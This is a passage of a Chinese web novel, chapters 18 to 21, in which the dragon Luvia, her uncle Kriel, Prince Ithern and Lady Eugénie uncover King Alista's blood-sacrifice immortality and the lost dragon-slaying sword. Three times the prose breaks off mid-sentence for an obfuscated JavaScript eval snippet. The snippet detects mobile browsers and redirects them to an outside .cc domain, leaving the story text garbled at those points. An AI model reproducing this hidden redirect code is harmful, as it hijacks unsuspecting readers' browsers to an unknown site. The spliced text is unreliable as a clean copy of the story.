露维亚觉得这是胡扯,可很快,她想到了阿利斯塔有一个“卷轴”,也许那不仅是一张藏宝图,还是一个魔法阵。 “具体是什么情形呢?站在原地立刻复活?” 埃里克森摇头:“不。我亲眼看到,索鲁人的首领用巨斧将阿利斯塔陛下劈成两半,血肉横飞。大概过了一刻钟,陛下竟然十分从容地出现在侧翼,再次朝对方攻去。就好像刚刚赶到一样。” 露维亚恍然大悟,谜底在此刻揭开。 “他一定献祭了血亲!‘生命只能来自于生命’,他用别人的命换来了一个聚合法阵,分离了自己的心灵和身体,将心灵锁系在某处,小心地保护着。肉身则变成了可替换的耗材。” 埃里克森心神一凛,他觉得这实在骇人听闻。神眷怎么会是这么可怕的东西?但他看了看伊瑟恩殿下,瞬间想到这位王子也是阿利斯塔的血亲,他不就被当成祭品,献给龙了么! 这样的事,有一就有二,陛下完全做得出来。 “至于与索鲁人结盟,我猜测是因为比起你们这群有原则的骑士,没有成形文明的野蛮人更容易接受强者为王,不在意阿利斯塔能力的真相,能更好地为他所驱使。说不定,索鲁人把他当成神来崇拜呢!等等,你现在这副表情,是想吐吗?” 露维亚当机立断,从背后猛踢埃里克森,把他一脚踹进传送门,嫌弃地说:“要吐去岛上吐,别吐在我家地上。” 伊瑟恩无奈地笑笑,他当然不觉得露维亚凶恶,只觉她直率可爱,表面凶巴巴的,实际上还是在关心别人啊! 不过,他也有点同情埃里克森……露维亚的力气,一般人可经受不起。他跟了过去,扶起干呕不止的埃里克森,帮他拍了拍后背。 “殿下……您觉得龙女士说的是真的么?” 伊瑟恩点头。 “这是爱情的判断,还是理性的判断?” 伊瑟恩想了想,找了一片平整的沙地,俯身写下:“*最芬芳的花蕾中有蛀虫,最聪明人的心里才会有爱情。” 18.第 18 章 埃里克森张了张嘴,想劝殿下冷静一点,别太真情实感了,全情投入很容易受伤。转念一想,又觉得不该扫兴。 伊瑟恩王子才十八岁。 年轻人只凭希望就能鼓起勇气,为了美好的初恋,不计后果地行动。这当然很不成熟,可头脑发热也比死气沉沉要好,说实话,埃里克森还怪感动的。 因为他已经不太能做到了。随着年龄和阅历的增长,埃里克变得谨慎持重,同时也染上了某种惰性。 埃里克森看向伊瑟恩,“真相有力量,可真相是一把过于锋利的剑,它优先攻击我们自己,然后才是敌人。” 伊瑟恩听懂了。 是的,假装什么也没发生过,糊里糊涂地活下去会比较舒服。他同样很难接受妈妈像件物品一样,被阿利斯塔利用后杀害,即便那是事实。 但若没有真相,人就做不出正确的决定。虚假的生活早晚会崩塌,只是拖延时间罢了。 于是他用手指在沙子上一笔一划地写字:“人首先要对自己忠诚。” “哦,伊瑟恩殿下!”埃里克森扶额笑笑,他感觉自己被过于明亮的东西晃了一下眼睛,“何止是龙女士,您也和传言中不太一样。” 伊瑟恩没听懂他的意思,有些局促地搓了搓手。是自己太幼稚了吗?竟对着年长的骑士说教起来了。 “人们说您是一位脆弱敏感的少年。一半的人笃定您每天在塔楼上以泪洗面。另一半的人相信美貌者天生会利用自己的优势,认为殿下您以后会靠脸生活。” 听了这话,伊瑟恩笑得肩膀打颤。 也没说错啊。 伊瑟恩确实很爱哭,也确实凭借美貌,博得龙女士欢心,过上了好日子。听起来没什么出息,可那又怎么了,露维亚喜欢。 从骑士这里得到了情报之后,露维亚依约把他送离灰烬森林。 埃里克森又一次大难不死,感激地说:“您如此信任我,真让我不知该说什么好。” “那就闭嘴。”她没耐心切换人形,用龙语咆哮着。 这根本谈不上信任。 龙的安全感与骑士的品格无关,而是来自魔法,来自遮天蔽日的雾,这是她花了好几天时间制作出来的谜障,可以确保龙窟的位置不被发现。 她才不在乎埃里克森回去之后怎么想,怎么说,怎么做。 埃里克森还欲再说些保证的话,露维亚忍不住又踹了他一脚。怎么回事!烦死了,埃里克森竟跟她的笨蛋舅舅一样烦。 这让露维亚再次明白,她不是喜欢人类,纯粹只是喜欢伊瑟恩。 这世间的人大多套着一层壳子,遵循某种框架生活,骑士有骑士的风范,国王有国王的威严。然而,比起一位王子,伊瑟恩表现得更像他自己。 脆弱的时候就掉眼泪,低落的时候垂着头,害羞的时候脸红到耳朵根,高兴的时候发不出声音也要笑。他没有雄性身上那种非要逞强,或者装模作样的毛病。 当她返回龙窟,伊瑟恩笑盈盈来迎接她。龙四肢着地,一步一步走近,当她把前爪按在伊瑟恩胸前时,身上鳞片已尽数褪去,长发堆叠如雪。 伊瑟恩觉出露维亚心情不错,他也就跟着高兴,心跳怦怦加快。 他小心地撩起一缕她的发丝,露维亚的头发是龙角的化形,韧如银线,他却生怕给她弄断了似的,动作温柔得不像话。 头发被拨开后,是露维亚明朗坦荡的笑脸,她长松一口气:“终于没有碍事的家伙了!” 伊瑟恩愣怔着看着露维亚的眼眸,双目只映出他的面孔,没有别人。昨天心里那些没来由的嫉妒就更显荒谬,他觉得自己很傻。 额头贴着额头,呼吸相撞。伊瑟恩双手握向她的腰,轻轻扭身蹭她。 “你很着急吗?” 伊瑟恩咽了咽口水,想把脸别到一边,却舍不得错开视线。 露维亚观察伊瑟恩的表情,用拇指抚弄他的耳垂,慢慢扫到脸颊,然后低下头去吻他。从眉头细细吻到唇边,得出结论:“看来是馋坏了。” 他连忙回吻,轻咬露维亚的舌尖,让她没法再说调戏他的话。伊瑟恩紧紧地抱她,生怕露维亚会变成龙飞走,死不撒手。 露维亚纵容着伊瑟恩,让他得以饱餐盛宴。龙给他容身之所,给他甘美的食物和温热的泉水。四肢百骸像掉进了蜂蜜罐里,好快乐,他心想,露维亚也这么快乐吗? 不用谁教,只需有心。 露维亚惊惶了一瞬,然后放声大笑,她觉得他们现在的姿势很像那天在画家工作室里见过的雕像,“我们是两棵缠在一起的树吗?我们是两只……” 她没能再说下去,声音被不讲道理地撞碎。 露维亚一手抓着他的头发,手指控制不住地蜷曲起来,一手抚摸他汗水淋淋的脊背。他这样全心全意,身体力行地讨她欢心,让露维亚放弃了思考,不住呼唤他的名字。 “伊瑟恩,伊瑟恩,我爱你啊。” 要是能回应就好了。 伊瑟恩心想,人类最没资格使用“永远”这个词,此刻他却被这沉重的词义照亮,心中升起一片皎洁的月光,泼洒在无边的海面上。 他们缠绵了太久,到傍晚,再不舍也要分离,露维亚催他去岛上过夜。 伊瑟恩委屈地看她,就好像在怪她快活完就把他赶走。 露维亚说:“都说了你是人类!心灵强度不够,不能天天做噩梦。” 伊瑟恩胡乱地比划起来,指天指地,指她又指自己,指那该死的镜子然后指向自己的心,露维亚的眼睛竟跟不上他飞快的动作。 “干嘛不写字呢?” 伊瑟恩愣了愣,捏住滑石笔,一下子词穷,最后只写出几个字:“可我愿意。” 露维亚的心里一下子又酸又软,亲了亲他快要流泪的眼睛,说:“好吧,好吧!服了你了!那么,明天一定去床上睡。” 他点点头,龙女士已经让步,他也得见好就收。 于是,幻象又少了一个。 了解阿利斯塔的神眷后,露维亚愈发自信。理由很简单:能力越夸张,形式越极端,弱点就越明显。阿利斯塔如此,神王也是如此。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272487|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿利斯塔献祭血亲,想要永生不死。而神王杀掉神后,靠人类少女的子宫诞育新的神祇。这不能说明他们强大,只能说明他们虚弱。 他们违背了元初神创世的法则——生命的法则。 “说起来这面镜子也帮了我。”露维亚昂着头,眼神里写满骄傲,“它强迫我回忆,倒教我越来越聪明了,不是吗?” 这次,伊瑟恩没有附和,而是抠着她的手心写:“本来就聪明。” 露维亚噗嗤一笑,“没错,我本来就聪明。” 聪明的露维亚决定去北境寻找屠龙勇士大卫留下的线索。以防万一,白天不在家的时候她让伊瑟恩去海岛呆着,关闭了传送门。 她担心这会让伊瑟恩有被囚禁的感觉,心里有点过意不去,于是再次许诺会给他带礼物回来。伊瑟恩倒觉得露维亚多虑,因为这座岛对人类而言非常大……他至今没能绕岛走完一周呢。 就这样,露维亚向北飞去。 她感觉自己的思维方式变得不太像龙。可是她也不像人类。 这是怎么一回事呢? 也不知道克里尔有没有打听到龙和人在一起的先例,她咕哝了一声,发出恐怖的声响,“我不会是第一只爱上人类的龙吧?” 北境的人如临大敌,纷纷关上了门窗,不敢出来。只有屠龙勇士大卫的后代洛夫公爵和他的继承人欧仁妮小姐站在城堡的箭楼上,手持长剑,严阵以待。 “父亲,我们该如何应对?”欧仁妮问。 “要想办法刺穿她的心脏。”洛夫公爵提醒女儿,“陛下把伊瑟恩殿下作为祭品献给了她,可她还是摧毁了王宫。这无疑是一头非常凶残的龙,我们一定要小心。” 欧仁妮:“是陛下把她的胃口喂大了。一开始就不该献祭,求和就是示弱!既然我们先示弱,就不能怪她嚣张。” 洛夫公爵长叹一声:“原本伊瑟恩殿下会成为你的丈夫,都是因为这头龙,现在你不得不嫁入王宫……” 欧仁妮却说:“不。我不这么认为。您没看出来吗?陛下从来没打算送我一个好掌控的丈夫,他只想掌控我。索鲁人是他用武力征服的猎鹰,我们是对他满怀感恩的家犬,北境是他继续向北征服的路桥,仅此而已。” 风从父女二人之间呼啸吹过,猩红色的斗篷呼啦啦地翻卷,洛夫公爵看着女儿年轻的脸,心绪复杂。 “欧仁妮,你这么聪明,倒不如不聪明。笨一点的漂亮姑娘是很容易幸福的。我和你母亲四十多岁才有了你,我们都老了。今后,你一个人该怎么办?” 欧仁妮无意安抚父亲突然的伤感,她知道,这是老年人无法避免的焦虑,何况,现在说这些又有什么用? 她仰头看着不断靠近的红色巨龙,握紧武器,“走一步看一步吧,先把这头龙杀了再说。” 她指着龙,龙也发现了她。 露维亚看到了欧仁妮固定披风的夺目胸针,那是真龙的鳞片,来自露维亚的父亲图尔。 浑身的血都在这一刻沸腾,她毫不犹豫地向着城堡,喷吐灼热的龙炎。 19.第 19 章 一口吐息之后,露维亚把城堡的箭楼掀翻。 洛夫公爵想把女儿护在身后,欧仁妮小姐却以建筑物崩塌时腾起的烟尘作掩护,纵身一跃,然后,她抓住了露维亚的尾梢。 露维亚一阵烦躁,她讨厌这种不怀好意的触碰,和她平时用尾巴卷别人的感觉完全不同。 龙在空中盘旋,欧仁妮腾空失重,找不到平衡,眼前的景象天旋地转,胃袋里也一阵翻涌。但她握手如钳,紧紧抓着露维亚不放。 龙的弱点在心脏,可龙不会主动靠过来让她刺!不拼一把,又怎能屠龙? 欧仁妮顺着脊柱一路爬上去,打算直接戳瞎龙的眼睛。 “欧仁妮!太危险了……” 当洛夫公爵的声音被风吹散,欧仁妮才发现龙早已把她带向万丈高空,身下的城堡缩成了一个斑点,蓝灰色的凝云就在她的身侧。 欧仁妮把剑一横,将剑刃楔进龙鳞的缝隙之间,借力向上爬。她使上全身的力气不让自己掉下去,硬生生挖下几片带血的鳞。 好疼…… 原来是这种感觉吗? 露维亚牢牢记住了疼痛的感觉。然后,她以火焰包裹全身,热力之盛,简直要把天空烫出一个洞来。 人类的身体吃不住这样的温度,皮肉经受烧灼的一瞬,便本能地躲闪。欧仁妮没坚持几秒,就不得不松开了手。 她飞速下坠,双手没有知觉,因为空气的猛烈冲击,耳朵、鼻子和嘴巴却异常疼痛,欧仁妮头脑发胀,眼睛充血,逐渐失去了意识。 见人类如此不堪一击,露维亚清醒过来。她心想,大卫真的有本事杀死图尔么?屠龙勇士大卫的故事,会不会和艾达讲的故事一样,有人为加工的部分? 于是,在人类女孩头颅崩裂的前一秒,露维亚把她重新捞起来,“哼,揪我尾巴是吧!坏丫头,你等着。” 眼瞅着巨龙抓走了女儿,洛夫公爵心急如焚,他艰难地吩咐左右:“快!写信给陛下!就说欧仁妮她……” 似乎意识到“欧仁妮被龙抓走了”对阿利斯塔是件无关紧要的事情,洛夫公爵心头悲凉。 他艰难地说:“告诉陛下,希尔弗未来的王后被龙掳走了,请他一定要捍卫君主的尊严,把自己的女人抢回来。” 暮年的身体已经僵硬,衰老的心灵却还能感受到痛苦!无力感席卷了全身。 再睁眼时,欧仁妮看到一对长得很像的男女。他们白发金瞳,身姿伟美,正在交谈着什么。而嵌进龙尾的长剑安静地躺在地面上,离她很远。 “露维亚!我打听到,很久以前曾有一头母龙爱上了人类。然后,不到一百年,她的伴侣死了,孩子也死了。实在很悲惨!” 露维亚只关心一件事。 “孩子?不是说龙和人类生不出蛋么?” 克里尔大叫:“这是重点吗?重点是寿命!接二连三的打击很容易引发心灵过载。” 露维亚说:“嗯,知道了,这没什么。” “什么没什么!那头龙只活了不到四百岁。四百岁!生命的四分之一都没走完……”克里尔猛然想到了什么,倒吸一口气,瞪圆了眼睛,问,“你不会已经出现心灵过载的前兆了吧?” “唉,你总是让我忍不住发笑,克里尔舅舅。” “什么?” 露维亚看着远处的风景,不愿和黑龙对视,“神王把我放逐到人间,难道会让我舒舒服服地活着么?这是惩罚,是诅咒,是缓慢的死刑。那面镜子一直搅动我的记忆,心灵过载必然提前,我已经经历过一次了。” 克里尔不说话了。 他捂着脸,泫然欲泣,嘴巴咧成了一个抖动的梯形。 “……别,待会儿再哭,先说孩子的事。”露维亚茫然地低下头,摸了摸小肚子,“我没觉出这里有新生命。” 克里尔抽噎着,“要在满月夜结合,龙才会生蛋。” 听了这话,露维亚松了口气。 “那没事了。” “什么没事了!露维亚!心灵过载的问题怎么办啊!啊?” 他比当事人更伤心,固然让她很感动,但这实在没什么意义,露维亚只好捂住耳朵。 躺在一边旁听的欧仁妮也在暗中消化这些信息。 他们是龙。 此处是一片狭长的水岸,面前是湍急的河,身后是山,地形不甚开阔。龙化为人形,一定是为了舒适地停驻,好在这儿伸展肢体,歇一歇。 迷恋人类男子的母龙,从灰烬森林远赴北境,抓了一个人类女孩……欧仁妮快速地思考,虽未得出结论,但也隐约觉出龙另有用意,自己暂时是安全的。 克里尔仍在大喊大叫,露维亚站起了身,打断道:“舅舅,你帮我看管她一会儿。我很快回来。” “你要去哪儿?” “我答应要给伊瑟恩带礼物。” 红龙振翅飞远,克里尔大惑不解。 在龙的观念里,爱自己的伴侣天经地义,毕竟他们要在漫长的岁月里,长久地陪伴彼此。 可是,恒星会爱流星吗? 克里尔俯下身,随手从地上捡了块石子,往河水掷去。 欧仁妮本想一声不吭,却没想到这公龙主动靠近自己,牵起了她的手,下一秒,手心传来温热滑腻的触感。她实在有些恶心,忍不住睁开眼睛,呵斥道:“你在干嘛?!” “露维亚让我看管你。”克里尔想了想,又说,“所以你也不用感谢我。” 欧仁妮这才发现,没有被他舔舐的另一只手上满是燎泡,甚至有些皮肉已经碳化烧焦,变成了可怕的深棕色。 “那就再辛苦你一次。”她把右手递过去,这只手才是她拿剑的惯用手。 “哦。”在这远离人烟的荒郊野岭,克里尔没想隐瞒自己是龙,快速施展了治愈术,然后擦了擦嘴,“人类,你怎么一点都不害怕?” 谁会害怕你……欧仁妮刚刚都听见了,他嚎起来活像一只尖叫的开水壶。 “我是屠龙勇士大卫的后代。你们是为报仇才抓我的,对吗?” 克里尔摇头,“露维亚怎么想的我不知道,但迦娜认为这不是人类的错。” “迦娜是谁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288124|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我的姐姐。露维亚的母亲。图尔的伴侣。” 欧仁妮无奈追问:“图尔是谁……” 他指了指欧仁妮别在领口的龙鳞胸针,“他死在人类手中。” 欧仁妮怔住了,克里尔此刻离自己很近,她变得有些不确定。祖先大卫曾留下记载,人形态的龙脸上也有隐约的鳞片残留。 可眼前的克里尔和这些描述完全不同,除了竖线型的瞳孔,他实在太像人了。 “你干嘛这么看我?” “你还有第三形态么?就是介于龙和人之间的形态。”欧仁妮问话的语气相当居高临下,就像在问流浪艺人还会变什么戏法。 可是克里尔浑未察觉,他说:“没有。龙只在衰老或生病的时候控制不住变形。身心互为反映,我很健康,所以我无论龙形还是人形,都非常稳定。” 欧仁妮感谢他的解释,却忽略不了他话语中迫不及待想要展示的意味。金眸在深色皮肤的衬托下显得格外明亮水润,又大又圆,似乎毫无邪念,只想……炫耀一下。 迎着他期待的目光,欧仁妮终于动了动嘴唇。 “好吧,你变成龙是什么样子?让我看看。” 露维亚来到了一个人类村庄。她知道生活在村庄里的人类比较朴素,未必有什么名贵的用物。但是,她被美妙的声音吸引了。 今天有歌者途径此地,是一个中年女人,抱着架很旧的琴。 村民们也许不懂艺术,到底娱乐活动太少,也都放下手里的活儿,跑来围着她看。露维亚便混在人群里,听她拨弄琴弦,自弹自唱。 “从南到北不停歇,为了寻找黄金城。晚上出发,大雨下不停,烈日当头,我心却安宁……” “当你活着的时候闪耀吧!就算没有黄金城。当你活着的时候跳舞吧!比黄金更贵的是真情……” 这是一支很欢快的歌谣,弦音跳跃着,连歌者略显低沉的音色都年轻了起来。待表演结束,村民给她拿了些食物瓜果,还有人送了她一条半新的绣花方巾。这就是全部的报酬。 歌者鞠躬感谢大家,脸上却有一丝失落。 “你有难处,对么?” 对方见露维亚是个年轻的女孩子,便没太戒备,实话实说:“我不是希尔弗人,听说这里很快就又要有战争,我打算一路弹唱,回老家去。路费还差很多啊!” 露维亚看了看歌者手中的琴,记下这乐器的结构与发声原理,然后,她悄悄用魔法合成了一枚钱币,交到歌者手中。 “哦,真感谢你!好心的姑娘。” “没什么,你制造出的声音很好听。我是说,音乐。” 她已熟练使用人类的语言,但说话的方式细听还是有点怪,为了不引人注意,也为了早点回家,露维亚快速地离开了这里。 露维亚用魔法做出一把类似的琴,一边试着演奏,一边哼着曲调回到河边。 不成想,她惊愕地看到欧仁妮正拿剑指着克里尔。而克里尔躺在地上一动不动,然后,人类女孩猛地用力,把剑刺了下去。 “不!不——” 20.第 20 章 “你确定你的祖先是用剑把龙杀死的?” “我确定。” “那他很厉害了,”克里尔展示自己的胸口,剑尖在皮肤上戳出了凹痕,却一点血都没有流,“看,没刺穿。” 欧仁妮又拿剑戳了两下,大为讶异:“为什么?” “哈哈,因为我很强嘛。” 露维亚愣在原地。 好消息是克里尔什么事也没有,一挺身就站了起来。原来他只是在和人类做游戏,显摆他结实的胸肌。考虑到他是一头愚蠢的公龙……并不奇怪。 坏消息是露维亚的头突然疼到了极点。刚刚,她真的以为自己“硕果仅存”的舅舅要被杀掉了。 她感到心绪不宁,注意力无法集中。 眼睛看到克里尔和欧仁妮的嘴巴在动,耳朵听见他们叽里咕噜地说着什么,实际上一个字也没听懂。 克里尔见状立刻紧张起来,快速地开启传送门,一手搀住露维亚的胳膊,一手拉住欧仁妮的手腕,毫不犹豫地离开这里。 炫目的魔法光芒熄灭之后,他们抵达龙窟。 欧仁妮忍不住问克里尔:“既然可以用这种方式,又何必到处飞?” “因为空间魔法留下的痕迹比较明显,容易被神界发现,我在人间游荡太久了,”他突然小声说,“回去准要被打二十鞭。” 欧仁妮越想越觉得不对劲。 龙不仅在外表上和祖先的描述有差异,性情也和她想象中完全不同。露维亚把伊瑟恩殿下视为伴侣,会给他送礼物。黑龙克里尔是个关心晚辈的舅舅,尽管不太聪明,但他很真诚。 这些龙看上去有情有义。 她还想再问,却见露维亚额头冒汗。克里尔在一旁急得抓耳挠腮,净问些没意义的问题:“露维亚,你,你想吃点什么吗?” “不,我不饿,只不过……” 心灵过载马上就要到来。 那是一种无处可逃,被往事紧紧攥住的感觉。露维亚越是想把记忆分门别类地整理好,它们就越乱套。 伤心的时候,她无法得到安慰。困惑的时候,她没机会向双亲请教。快乐的时候,她不知道该跟谁分享。当回忆杂糅在一起,那始终贯穿的孤独感,便前所未有地清晰、强烈。 “露维亚,别害怕。告诉舅舅,怎么做能让你好受一点?” 欧仁妮默默环顾四周,首先看到了镜子,镜子旁边的地面上有人类的书籍、黑板和滑石笔,镜子后边还有条叠好的毯子。 “伊瑟恩殿下不在么?”欧仁妮问。 “对对对,伊瑟恩,他知道怎么照顾你,他在哪儿?” “伊瑟恩……”露维亚念着这个名字,脑海中浮现出他腼腆的笑容。 也许在露维亚的内心深处,一直不知道该怎样面对自己的无助,直到伊瑟恩出现。 他是一副很对症的药,一种自我接纳的示范。那么弱小的人,也能鼓起勇气,用爱与希望弥合创伤,一边流眼泪,一边继续走下去。 所以,露维亚,不要害怕痛苦。允许自己有脆弱的时刻,挺过去就好了。没什么好丢脸的,接受舅舅的关心与帮助…… “他在岛上,风波之海外缘的一座海岛。” 说完,露维亚的金眸开始更频繁地闪烁,大口大口地喘粗气,像得了急病的人,蜷缩着躺倒。 欧仁妮明白了。如果凡人想杀死一头龙,唯一的机会就是现在。 可是,面前只有一个痛苦不堪的女孩,别说作恶,她连站起来都很困难。杀死这样一头龙,真的光彩吗?这算什么屠龙勇士? “海岛,风波之海……” 克里尔崩溃地发现自己从来没飞到过那里,没抵达过的地方不能被传送魔法设为落点。 克里尔只得亲自飞去找伊瑟恩,扭头却见欧仁妮一直盯着露维亚看,这人类女孩神色复杂,不知道在想什么。 他觉得欧仁妮胆子大又有主意,怕她逃跑,更怕她伤害露维亚,于是说:“我要继续看管你。你跟我一起去。” 他们出发时是下午。 随着高度不断上升,欧仁妮第一次看到了大陆的全貌。山脉如同大地的皮肤上的褶皱,湖泊与河流则是缀满珍珠的网,雾中的平原几乎隐去身形,只余美丽的颜色。 一开始,她很享受骑在龙背上飞行的感觉。直到陆地消失,头顶是天,身下是海,欧仁妮失去了方向感,在纯粹的静谧中,她甚至感觉不到时间在流动。 “还要飞多久?” 克里尔心里着急,一直在用最快的速度飞行,无暇去考虑欧仁妮。听背上的人类说话,才想到她可能不适应。 他调整了飞行的高度。 虽然没什么差别,但是欧仁妮觉得好受多了,至少能听到海浪声,闻到水腥味。 这里确乎是世界的尽头,伊瑟恩抱膝坐在房门前的台阶上出神。 露维亚快回来了吧? 他也给她准备了礼物。 结果,他没有等来露维亚。克里尔降落在海岛柔软的沙滩上,长嘶一声:“伊瑟恩,快来!” 伊瑟恩错愕地走向前,抬起手,朝舅舅打招呼。然后又做出疑问的手势。 “来不及解释了!你现在回去照顾露维亚!”他施法打开传送门,把一脸茫然的伊瑟恩扔进去。 完成这一切后,他松了口气,对欧仁妮说,“天黑后我再把你送回龙窟。” “为什么?” “因为我还得回神界去,不能一直盯着你,到了夜晚,龙窟中的幻象会让你入睡。我就不担心了。” 欧仁妮想了想,说,“如果第二天醒来,是我先一步拿起剑,效仿我的祖先,把伊瑟恩殿下救走。然后……” 克里尔说:“怎么可能。” “你觉得我一定不是龙的对手?” “那我不知道,战斗这种事,说不准的。”他干脆坐在沙滩上等日落,“关键在于伊瑟恩根本就不想被你救走啊。你很想救人?” 欧仁妮说:“是的。我很想打败龙,成为英雄。” 克里尔问:“成为英雄有什么好处?” “人们会知道我的名号。有了功绩与威望,就有了与国王谈判的筹码。我可以向阿利斯塔陛下提出继续作为公爵守卫北境,而不必和他结婚。毕竟,一个能屠龙的女人,听上去只能做个忠臣猛将,而不适合成为妻子。” “我已经开始听不太懂了。也就是说有一个叫阿利斯塔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298900|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男人想让你做他的伴侣,但是你不愿意。” “是的。” “然后你想证明自己可以胜任其他工作,跟他谈条件。” “是的。” “哦!我觉得这太麻烦了。” 欧仁妮困惑地看了他一眼,想听龙能发表什么高论。 克里尔缓缓转动眼珠,搜寻自己的记忆,他来人间的次数不多,可他恰巧见过诺克雷戴安女王的婚礼,于是他似懂非懂地说:“你可以做女王。女王可以自己选丈夫,对吧?我见过一个女王,他的丈夫可温柔了,完全不敢惹她生气,” 欧仁妮感到荒谬,他以为人类想做什么就做什么吗? 她刚想笑,却见龙的瞳仁里清晰地映出自己的脸,龙目满是漂亮的放射形纹路,仿佛为她戴上了一座金色冠冕,如太阳般光彩夺目。 被这样认真地注视着,她不觉有些飘飘然,即便这份没来由的信任纯粹出于克里尔的无知,以及龙对人类社会的误解。 欧仁妮却在某个瞬间动心起念:是啊,凭什么我不行呢。 她的直系祖先是一位公主,她的家族每隔几代就会与王室联姻。如果阿利斯塔死了,王室没有合法继承人,那么,欧仁妮是有机会的。 他们看着太阳沉没在暮云中,天空由蓝色变成粉色、金色、紫色…… 当海岛被黑夜彻底吞噬,克里尔再次打开传送门,与欧仁妮道别。他叮嘱道:“一脚跨进去,你就会掉进噩梦里。你最好抱住头,别撞到脑袋。明天一切都会变好。” 欧仁妮笑笑:“很有道理,谢谢。” 恐怖的幻象也许是最糟糕的待客之道。但露维亚意外地凭借梦魇得到了人类的支持。 次日,当露维亚在伊瑟恩怀中虚弱地醒来,欧仁妮已经完全倒向了她这一边。 “昔有恶龙,劫走了美丽的少女,也就是我的祖先海伦娜公主。” 露维亚摁了摁头,她刚刚经历一场心灵过载,思维还不太活跃:“你的语速……稍微慢一点。” “好。”欧仁妮继续说,“当海伦娜公主步入老年,她好像想起了什么,又好像是疯了。” 露维亚问:“具体表现是?” “她宣称自己可以和剑对话。人们只当她人老了,胡言乱语。亦或者思念已经死去的丈夫。毕竟,大卫是一位武艺高强的剑士。当初他就是用剑杀死了……你的父亲。” “剑,那把剑呢?”露维亚问。 “不见了。”欧仁妮展示了自己的佩剑,实话实说,“虽然我侥幸剥掉了你几片鳞,但是这样的剑明显无法对龙造成真正的伤害。昨天,你也看到了。” 露维亚点点头,又问:“那么大卫留下了其他东西么?比如,卷轴。” “龙之卷轴。”欧仁妮答得干脆,“卷轴是大卫的自述,他向国王详细汇报了屠龙的始末。还有战利品的清单。” “战利品?” 欧仁妮:“我想我的祖先大卫之所以能成为实权公爵,拥有那么一大片领地,除了救出公主,肯定也为希尔弗王室进献了很多财富。我以为这空空荡荡的龙窟,曾经堆满金银珠宝……” 露维亚嗤笑一声。 她全都明白了。 21.第 21 章 阿利斯塔始终觉得龙是低等生物,不然也不会把伊瑟恩送给她。英俊的王子,凶恶的龙,强烈的对照。 他想把伊瑟恩按到脏水一样的命运里,他觉得这样很有意思。 所以当他意识到龙可能是因为喜欢伊瑟恩,才来与他作对的时候,心情就不太好了。 “陛下!北境传来急信,请您过目。” 逗他发笑的弄臣坠塔而死,和诺克雷的战事也没想象中顺利。侍从大气都不敢喘,生怕又是坏消息。 阿利斯塔捏着信纸看了两遍,决定去营救欧仁妮小姐。 很麻烦,但未来的王后还没真正成为自己的同盟,他多少要拿出点诚意。 这时,他脑海中忽然出现一张极其美丽的脸,金发蓝眼,漂亮到有些不真实。即便逾越道德,享用她之后却没付出任何代价,这么实惠的美人再也没遇到过,让阿利斯塔不由有些怀念。 约下午三时左右,阿利斯塔再次进入灰烬森林。 马蹄声哒哒,金属铠甲和马具不断发出有节奏的碰撞声,回荡在灰烬森林粥一样的浓雾中。 一切都和上次一样,糟糕的天气,紧张的氛围,还有似有若无的硫磺味。 埃里克森完全不知道龙窟的入口在哪儿,即便知道他也不会出卖龙女士。偏偏这次的队伍里又有他。不仅如此,阿利斯塔还与他交谈起来,令他在马背上如坐针毡。 “你相信神么?骑士。” “身披荣耀的神眷者就在我的面前,陛下。” “其实我不信。”阿利斯塔说。“我知悉神的存在,但我没有信仰。没错,神明给了我能力,我也付出了代价。既然是交换,就无需虔诚。你觉得呢?” “……陛下是对的。” 有两种人会把内心想法说给别人。第一种是有点天真,生活顺风顺水的家伙。他觉得人们不会无缘无故伤害他,于是毫不设防,兴高采烈,什么都往出说。 第二种就是阿利斯塔这样的。国王向臣下暴露内心,只因认定自己是绝对的主人。现在,他需要一个听众。 就在埃里克森百般煎熬,调动全部的社交能量,全力应付陛下的时候,雾中出现了一个幽灵般的身影,迈着深深浅浅的步子,向他们走来。 她拄着剑,剑刃上粘着半凝固的兽血,正黏黏糊糊地往下滴。 她衣服上全是灰烬与血渍,要命的是这么脏的裙子还被扯掉了一大截,裙摆提起来打了个结系在腰间。双腿像是从一朵脏兮兮的花里伸出的两根长蕊。 所有人都愣住了。 欧仁妮先一步开口:“陛下,我没能杀死那头龙。” 阿利斯塔花了一点时间理解欧仁妮的话,“也就是说,你刺伤了她,对么?” “是的。托陛下的福,我从恶龙口中幸运地逃脱。可惜,我的剑太普通。如果能用三百年前的那把宝剑,我有把握一击把龙杀死。” “哦?那么大卫的宝剑去向何处?” “下落不明。父亲和我阅遍祖先留下的书信、日记,什么信息也没找到。” 阿利斯塔低头,看到欧仁妮惯于握剑,生着一层厚茧的手。他心想,欧仁妮作为女人实在差点意思。 